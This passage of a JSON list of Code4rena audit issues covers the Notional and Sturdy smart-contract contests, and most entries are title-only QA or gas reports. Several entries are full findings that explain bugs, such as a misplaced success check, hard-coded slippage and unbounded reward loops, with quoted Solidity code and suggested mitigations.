`mintFCashPosition()` functions for those `fcash` tokens that asset token is underlying token. In summery `NotionalTradeModule` logic will not work for all `fcash` tokens becasue the logic of `_isUnderlying()` is wrong for `fcash` tokens that asset token is underlying token. ## Tools Used VIM ## Recommended Mitigation Steps Change the logic of `_isUnderlying()` in `NotionalTradeModule` so it returns correct results for all `fcash` tokens. one simple solution can be that it first check `payment token` value with `asset token` value. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/83", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "deposit() and mint() and _redeemInternal() in wfCashERC4626() will revert for all fcash that asset token is underlying token because they always call _mintInternal() with useUnderlying==True", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/82", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "Notional"], "target": "2022-06-notional-coop-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L177-L184 https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L168-L175 https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L225-L241 # Vulnerability details ## Impact For some `fcash` the asset token is underlying token (`asset.tokenType == TokenType.NonMintable`) and `NotionalV2` will not handle minting with `useUnderlying==True` for those `fcash`s (according to what I asked from sponsor). In summery most of the logics in `wfCashERC4626` will not work for those `fcash` tokens. when for some `fcash` asset token is underlying token, all calls to `NotionalV2` should be with `useUnderlying==False`. but `deposit()` and `mint()` in `wfCashERC4626` contract call `_mintInternal()` with `useUnderlying==True` and it calls `NotionalV2.batchLend()` with `depositUnderlying==true` so the `NotionV2` call will fail for `fcash` tokens that asset token is underlying token and it would cause that `deposit()` and `mint()` logic `wfCashERC4626` will not work and contract will be useless for those tokens. `_redeemInternal()` issue is similar and it calls `_burn()` with `redeemToUnderlying: true` which execution eventually calls `NotionalV2.batchBalanceAndTradeAction()` with `toUnderlying=True` which will revert so `_redeemInternal()` will fail and because `withdraw()` and `redeem` use it, so they will not work too for those `fcash` tokens that asset token is underlying token. ## Proof of Concept This is `deposit()` and `mint()` code in `wfCashERC4626`: ``` /** @dev See {IERC4626-deposit} */ function deposit(uint256 assets, address receiver) public override returns (uint256) { uint256 shares = previewDeposit(assets); // Will revert if matured _mintInternal(assets, _safeUint88(shares), receiver, 0, true); emit Deposit(msg.sender, receiver, assets, shares); return shares; } /** @dev See {IERC4626-mint} */ function mint(uint256 shares, address receiver) public override returns (uint256) { uint256 assets = previewMint(shares); // Will revert if matured _mintInternal(assets, _safeUint88(shares), receiver, 0, true); emit Deposit(msg.sender, receiver, assets, shares); return assets; } ``` As you can see they both call `_mintInternal()` with last parameter as `true` which is `useUnderlying`'s value. This is `_mintInternal()` code: ``` function _mintInternal( uint256 depositAmountExternal, uint88 fCashAmount, address receiver, uint32 minImpliedRate, bool useUnderlying ) internal nonReentrant { require(!hasMatured(), \"fCash matured\"); (IERC20 token, bool isETH) = getToken(useUnderlying); uint256 balanceBefore = isETH ? address(this).balance : token.balanceOf(address(this)); // If dealing in ETH, we use WETH in the wrapper instead of ETH. NotionalV2 uses // ETH natively but due to pull payment requirements for batchLend, it does not support // ETH. batchLend only supports ERC20 tokens like cETH or aETH. Since the wrapper is a compatibility // layer, it will support WETH so integrators can deal solely in ERC20 tokens. Instead of using // \"batchLend\" we will use \"batchBalanceActionWithTrades\". The difference is that \"batchLend\" // is more gas efficient (does not require and additional redeem call to asset tokens). If using cETH // then everything will proceed via batchLend. if (isETH) { IERC20((address(WETH))).safeTransferFrom(msg.sender, address(this), depositAmountExternal); WETH.withdraw(depositAmountExternal); BalanceActionWithTrades[] memory action = EncodeDecode.encodeLendETHTrade( getCurrencyId(), getMarketIndex(), depositAmountExternal, fCashAmount, minImpliedRate ); // Notional will return any residual ETH as the native token. When we _sendTokensToReceiver those // native ETH tokens will be wrapped back to WETH. NotionalV2.batchBalanceAndTradeAction{value: depositAmountExternal}(address(this), action); } else { // Transfers tokens in for lending, Notional will transfer from this contract. token.safeTransferFrom(msg.sender, address(this), depositAmountExternal); // Executes a lending action on Notional BatchLend[] memory action = EncodeDecode.encodeLendTrade( getCurrencyId(), getMarketIndex(), fCashAmount, minImpliedRate, useUnderlying ); NotionalV2.batchLend(address(this), action); } // Mints ERC20 tokens for the receiver, the false flag denotes that we will not do an // operatorAck _mint(receiver, fCashAmount, \"\", \"\", false); _sendTokensToReceiver(token, msg.sender, isETH, balanceBefore); } ``` As you can see it calls `NotionalV2` functions with `useUnderlying=True` but according to sponsor clarification `NotionalV2` would fail and revert for those calls because `useUnderlying=True` and `fcash`'s asset token is underlying token (`asset.tokenType == TokenType.NonMintable`). So in summery for `fcash` tokens which asset token is underlying token `NotionalV2` won't handle calls which include `useUnderlying==True` but in `wfCashERC4626` contract functions like `deposit()`, `mint()`, `withdraw()` and `redeem()` they all uses `useUnderlying==True` always so `wfCashERC4626` won't work for those specific type of tokens which asset token is underlying token(`asset.tokenType == TokenType.NonMintable`) the detail explanations for functions `withdraw()` and `redeem()` are similar. ## Tools Used VIM ## Recommended Mitigation Steps check that if for that `fcash` token asset token is underlying token or not and set `useUnderlying` based on that. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/81", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Functions convertToShares() and convertToAssets() don't consider hasMatured() state when totalSupply()==0", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/80", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "Functions convertToShares() and convertToAssets() don't consider hasMatured() state when totalSupply()==0"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/73", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/72", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/71", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/69", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "Index"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/55", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/50", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/48", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Must approve 0 first", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/44", "labels": ["bug", "QA (Quality Assurance)", "Index"], "target": "2022-06-notional-coop-findings", "body": "Must approve 0 first"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/40", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/39", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/29", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/28", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/26", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "Index"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/10", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/9", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/7", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/1", "labels": [], "target": "2022-06-notional-coop-findings", "body": "Agreement & Disclosures"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/175", "labels": [], "target": "2022-05-sturdy-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/166", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/162", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/160", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/159", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/158", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "The check for value transfer success is made after the return statement in _withdrawFromYieldPool of LidoVault", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/157", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-sturdy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/LidoVault.sol#L142 # Vulnerability details ## Impact Users can lose their funds ## Proof of Concept https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/LidoVault.sol#L142 The code checks transaction success after returning the transfer value and finishing execution. If the call fails the transaction won't revert since require(sent, Errors.VT_COLLATERAL_WITHDRAW_INVALID); won't execute. Users will have withdrawed without getting their funds back. ## Recommended Mitigation Steps Return the function after the success check "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/155", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/146", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/145", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/144", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/143", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/142", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/138", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/135", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "hard-coded slippage may freeze user funds during market turbulence", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/133", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-sturdy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-sturdy/blob/main/smart-contracts/GeneralVault.sol#L125 https://github.com/code-423n4/2022-05-sturdy/blob/main/smart-contracts/LidoVault.sol#L130-L137 # Vulnerability details ## Impact [GeneralVault.sol#L125](https://github.com/code-423n4/2022-05-sturdy/blob/main/smart-contracts/GeneralVault.sol#L125) GeneralVault set a hardcoded slippage control of 99%. However, the underlying yield tokens price may go down. If Luna/UST things happen again, users' funds may get locked. [LidoVault.sol#L130-L137](https://github.com/code-423n4/2022-05-sturdy/blob/main/smart-contracts/LidoVault.sol#L130-L137) Moreover, the withdrawal of the lidoVault takes a swap from the curve pool. 1 stEth worth 0.98 ETH at the time of writing. The vault can not withdraw at the current market. Given that users' funds would be locked in the lidoVault, I consider this a high-risk issue. ## Proof of Concept [1 stEth = 0.98 Eth](https://twitter.com/hasufl/status/1524717773959700481/photo/1) [LidoVault.sol#L130-L137](https://github.com/code-423n4/2022-05-sturdy/blob/main/smart-contracts/LidoVault.sol#L130-L137) ## Tools Used ## Recommended Mitigation Steps There are different ways to set the slippage. The first one is to let users determine the maximum slippage they're willing to take. The protocol front-end should set the recommended value for them. ```solidity function withdrawCollateral( address _asset, uint256 _amount, address _to, uint256 _minReceiveAmount ) external virtual { // ... require(withdrawAmount >= _minReceiveAmount, Errors.VT_WITHDRAW_AMOUNT_MISMATCH); } ``` The second one is have a slippage control parameters that's set by the operator. ```solidity // Exchange stETH -> ETH via Curve uint256 receivedETHAmount = CurveswapAdapter.swapExactTokensForTokens( _addressesProvider, _addressesProvider.getAddress('STETH_ETH_POOL'), LIDO, ETH, yieldStETH, maxSlippage ); ``` ```solidity function setMaxSlippage(uint256 _slippage) external onlyOperator { maxSlippage = _slippage; //@audit This action usually emit an event. emit SetMaxSlippage(msg.sender, slippage); } ``` These are two common ways to deal with this issue. I prefer the first one. The market may corrupt really fast before the operator takes action. It's nothing fun watching the number go down while having no option. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/132", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/131", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/128", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/127", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/125", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/124", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/119", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/117", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/116", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/114", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/111", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/110", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/107", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/104", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/102", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/99", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/94", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/89", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Withdrawing ETH collateral with max uint256 amount value reverts transaction", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/85", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-sturdy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/GeneralVault.sol#L121-L124 # Vulnerability details ## Impact Withdrawing ETH collateral via the `withdrawCollateral` function using `type(uint256).max` for the `_amount` parameter reverts the transaction due to `_asset` being the zero-address and `IERC20Detailed(_asset).decimals()` not working for native ETH. ## Proof of Concept [GeneralVault.sol#L121-L124](https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/GeneralVault.sol#L121-L124) ```solidity if (_amount == type(uint256).max) { uint256 decimal = IERC20Detailed(_asset).decimals(); // @audit-info does not work for native ETH. Transaction reverts _amount = _amountToWithdraw.mul(this.pricePerShare()).div(10**decimal); } ``` ## Tools Used Manual review ## Recommended mitigation steps Check `_asset` and use hard coded decimal value (`18`) for native ETH "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/80", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "ConvexCurveLPVault's _transferYield can become stuck with zero reward transfer", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/79", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-sturdy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/ConvexCurveLPVault.sol#L74-L82 # Vulnerability details Now there are no checks for the amounts to be transferred via _transferYield and _processTreasury. As reward token list is external and an arbitrary token can end up there, in the case when such token doesn't allow for zero amount transfers, the reward retrieval can become unavailable. I.e. processYield() can be fully blocked for even an extended period, with some low probability, which cannot be controlled otherwise as pool reward token list is external. Setting the severity to medium as reward gathering is a base functionality for the system and its availability is affected. ## Proof of Concept _transferYield proceeds with sending the amounts to treasury and yieldManager without checking: https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/ConvexCurveLPVault.sol#L74-L82 ```solidity // transfer to treasury if (_vaultFee > 0) { uint256 treasuryAmount = _processTreasury(_asset, yieldAmount); yieldAmount = yieldAmount.sub(treasuryAmount); } // transfer to yieldManager address yieldManager = _addressesProvider.getAddress('YIELD_MANAGER'); TransferHelper.safeTransfer(_asset, yieldManager, yieldAmount); ``` https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/ConvexCurveLPVault.sol#L205-L209 ```solidity function _processTreasury(address _asset, uint256 _yieldAmount) internal returns (uint256) { uint256 treasuryAmount = _yieldAmount.percentMul(_vaultFee); IERC20(_asset).safeTransfer(_treasuryAddress, treasuryAmount); return treasuryAmount; } ``` The incentive token can be arbitrary. Some ERC20 do not allow zero amounts to be sent: https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers In a situation of such a token added to reward list and zero incentive amount earned the whole processYield call will revert, making reward gathering unavailable until either such token be removed from pool's reward token list or some non-zero reward amount be earned. Both are external processes and aren\u2019t controllable. ## Recommended Mitigation Steps Consider running the transfers in _transferYield only when yieldAmount is positive: ```solidity + if (yieldAmount > 0) { // transfer to treasury if (_vaultFee > 0) { uint256 treasuryAmount = _processTreasury(_asset, yieldAmount); yieldAmount = yieldAmount.sub(treasuryAmount); } // transfer to yieldManager address yieldManager = _addressesProvider.getAddress('YIELD_MANAGER'); TransferHelper.safeTransfer(_asset, yieldManager, yieldAmount); + } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/78", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/77", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "`processYield()` and `distributeYield()` may run out of gas and revert due to long list of extra rewards/yields", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/70", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-sturdy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/ConvexCurveLPVault.sol#L105-L110 https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/YieldManager.sol#L129-L136 # Vulnerability details ## Impact Yields will not be able to be distributed to lenders because attempts to do so will revert ## Proof of Concept The `processYield()` function loops overall of the extra rewards and transfers them ```solidity File: smart-contracts/ConvexCurveLPVault.sol #1 105 uint256 extraRewardsLength = IConvexBaseRewardPool(baseRewardPool).extraRewardsLength(); 106 for (uint256 i = 0; i < extraRewardsLength; i++) { 107 address _extraReward = IConvexBaseRewardPool(baseRewardPool).extraRewards(i); 108 address _rewardToken = IRewards(_extraReward).rewardToken(); 109 _transferYield(_rewardToken); 110 } ``` https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/ConvexCurveLPVault.sol#L105-L110 There is no guarantee that the tokens involved will be efficient in their use of gas, and there are no upper bounds on the number of extra rewards: ```solidity function extraRewardsLength() external view returns (uint256) { return extraRewards.length; } function addExtraReward(address _reward) external returns(bool){ require(msg.sender == rewardManager, \"!authorized\"); require(_reward != address(0),\"!reward setting\"); extraRewards.push(_reward); return true; } ``` https://github.com/convex-eth/platform/blob/main/contracts/contracts/BaseRewardPool.sol#L105-L115 Even if not every extra reward token has a balance, an attacker can sprinkle each one with dust, forcing a transfer by this function `_getAssetYields()` has a similar issue: ```solidity File: smart-contracts/YieldManager.sol #X 129 AssetYield[] memory assetYields = _getAssetYields(exchangedAmount); 130 for (uint256 i = 0; i < assetYields.length; i++) { 131 if (assetYields[i].amount > 0) { 132 uint256 _amount = 